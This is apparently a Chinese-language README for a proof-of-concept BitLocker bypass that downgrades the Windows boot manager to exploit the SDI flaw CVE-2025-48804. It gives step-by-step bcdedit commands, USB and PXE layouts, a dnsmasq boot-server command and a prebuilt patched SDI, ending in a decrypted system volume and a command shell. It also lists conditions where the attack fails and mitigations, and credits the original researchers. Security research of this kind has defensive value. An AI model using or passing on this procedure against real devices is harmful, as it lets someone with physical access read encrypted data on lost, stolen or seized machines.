BitUnlocker 降级攻击

一种概念验证方法，可在完全修补的 Windows 11 机器上，在 5 分钟内 访问 BitLocker 加密磁盘，通过引导管理器降级攻击利用最初记录为 CVE-2025-48804 的 SDI 漏洞。2025 年 7 月的补丁修复了 bootmgfw.efi，因此在 PCA 2011 下签名的任何预补丁 bootmgfw.efi 均可用于降级攻击，前提是目标系统信任该 PCA。

此 PoC 提供了两种交付方法：USB 启动（更简单，推荐）和 PXE 启动。但理论上，您也可以直接将 SDI 启动文件复制到默认未加密的分区（ESP 和恢复分区）中，而无需使用 USB 或 PXE——请参阅“边缘情况”表。

这项工作完全基于 Microsoft STORM（Netanel Ben Simon 和 Alon Leviev）的研究：

BitUnlocker：利用 Windows 恢复提取 BitLocker 密钥

前提条件

• 对 BitLocker 加密设备（仅 TPM，PCR 7 + 11）的物理访问权
• 设备的 Secure Boot 数据库仍信任 Microsoft Windows PCA 2011 证书
• 一个 U 盘（推荐）或 一台装有 dnsmasq 和以太网线缆的 Linux 机器（用于 PXE）

逐步操作

1. 从 Releases 下载 boot_patched.sdi（或自行构建 SDI 文件，见下文）

将其放入 USB/sdi/（用于 USB 方法）或 TFTP-root/sdi/（用于 PXE 方法）。

2. 准备修改后的 BCD

在目标设备上，打开 WinRE 命令提示符（按住 Shift 同时点击 重启，然后选择 疑难解答 > 命令提示符——当提示输入 BitLocker 恢复密钥时点击“忽略此磁盘”，如果同时提示命令提示符无法在锁定设备上运行，请点击“重新启动”——如果命令提示符无法打开，请使用您自己的 WinPE）。插入 U 盘并运行：

E: （或 U 盘所在盘符）
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

在输出中，找到描述为 “Windows 恢复” 且包含 ramdisksdidevice / ramdisksdipath 条目的设备选项。记下其 GUID，然后：

bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

将生成的 BCD 文件放入相应位置，具体取决于您的方法：

• USB： USB/EFI/Microsoft/Boot/BCD
• PXE： TFTP-root/Boot/BCD

3. 启动目标设备

选项 A：USB 启动（推荐）

将 U 盘格式化为 FAT32，然后将 USB/ 目录的内容复制到其根目录（仅复制内容，不应存在“USB”文件夹）。U 盘应如下所示：

U盘根目录/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # 预补丁引导管理器（PCA 2011）
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # 您修改后的 BCD
└── sdi/
    └── boot_patched.sdi        # 包含自定义 WinRE 的修补后 SDI

将 U 盘插入目标设备，触发 UEFI USB 启动——可以从 WinRE（使用设备）或通过按制造商启动菜单键（F12、F9 等）在开机时进行。如果 U 盘未出现在启动选项列表中，请在 UEFI 启动菜单中查找 “从文件启动” 选项，然后导航到 U 盘上的 EFI/Boot/bootx64.efi。

选项 B：PXE 启动

TFTP-root/ 目录结构如下：

TFTP-root/
├── bootmgfw.efi                # 预补丁引导管理器（PCA 2011）
├── Boot/
│   └── BCD                     # 您修改后的 BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # 相同的预补丁引导管理器
└── sdi/
    └── boot_patched.sdi        # 包含自定义 WinRE 的修补后 SDI

通过以太网将目标设备连接到您的 Linux 机器，然后启动 PXE 服务器：

cd BitUnlocker
export INTERFACE=<您的网络接口>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

在目标设备上触发 PXE 启动——从 WinRE 选择 使用设备 > IPv4 网络，或按制造商的 PXE 启动键。

4. 等待 SDI 传输

引导管理器将加载 BCD，然后开始下载 boot_patched.sdi。SDI 文件很大（约 300 MB），因此从 USB 加载需要一些时间，或者通过 TFTP 加载需要 几分钟。加载时，目标屏幕上应显示一条包含 SDI 路径的恢复相关消息。

5. 收获成果

传输完成后，应出现命令提示符，并且 OS 卷已解密并挂载（通常为 C: 或 E:）。如果未自动挂载或您不想猜测盘符，只需运行 diskpart -> sel vol X（选择看起来像加密驱动器的卷） -> assign letter=C（或其他盘符） -> exit -> 完成。

边缘情况

构建您自己的 SDI 文件

我在 scripts/ 中包含了两个脚本：

• patch_sdi.py — 从 boot.sdi 和 WinRE.wim 文件构建修改后的 SDI 文件
• parse_sdi.py — 解析 SDI 文件以验证其结构和内容

Releases 中提供的 boot_patched.sdi 文件包含一个修改后的 WinRE.wim，其启动应用程序为 cmd.exe。

无法利用的情况

• 配置了 TPM + PIN 或 TPM + 密钥文件，且攻击者不知道
• 已安装 KB5025885 / 引导管理器已迁移到 CA 2023 — 自 2026 年初以来新安装的机器很可能默认附带 CA 2023 签名的 bootmgfw.efi。要检查，请挂载 EFI 分区并检查活动二进制文件：mountvol S: /s 然后 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi。请注意，C:\Windows\Boot\EFI\bootmgfw.efi 可能与实际用于启动的文件不同——始终检查 EFI 分区副本。
• 非默认 PCR 策略 — 涉及 PCR 0、2 或 4 的配置将检测到启动路径的变化
• 通过 DBX 撤销了 PCA 2011 — 如果旧证书已被明确不信任

缓解措施

• 启用 TPM + PIN — 预启动 PIN 可防止 TPM 在没有用户交互的情况下解开 VMK，无论启动路径如何操纵。但请注意，这无法阻止知道 PIN 的内部人员。
• 迁移到 Windows UEFI CA 2023 并应用 KB5025885 以完全防止降级攻击

致谢

Microsoft STORM（Netanel Ben Simon 和 Alon Leviev） 感谢其原创的 BitUnlocker 研究和漏洞披露。

许可证

本项目采用 MIT 许可证 授权。详情请参阅 LICENSE 文件。

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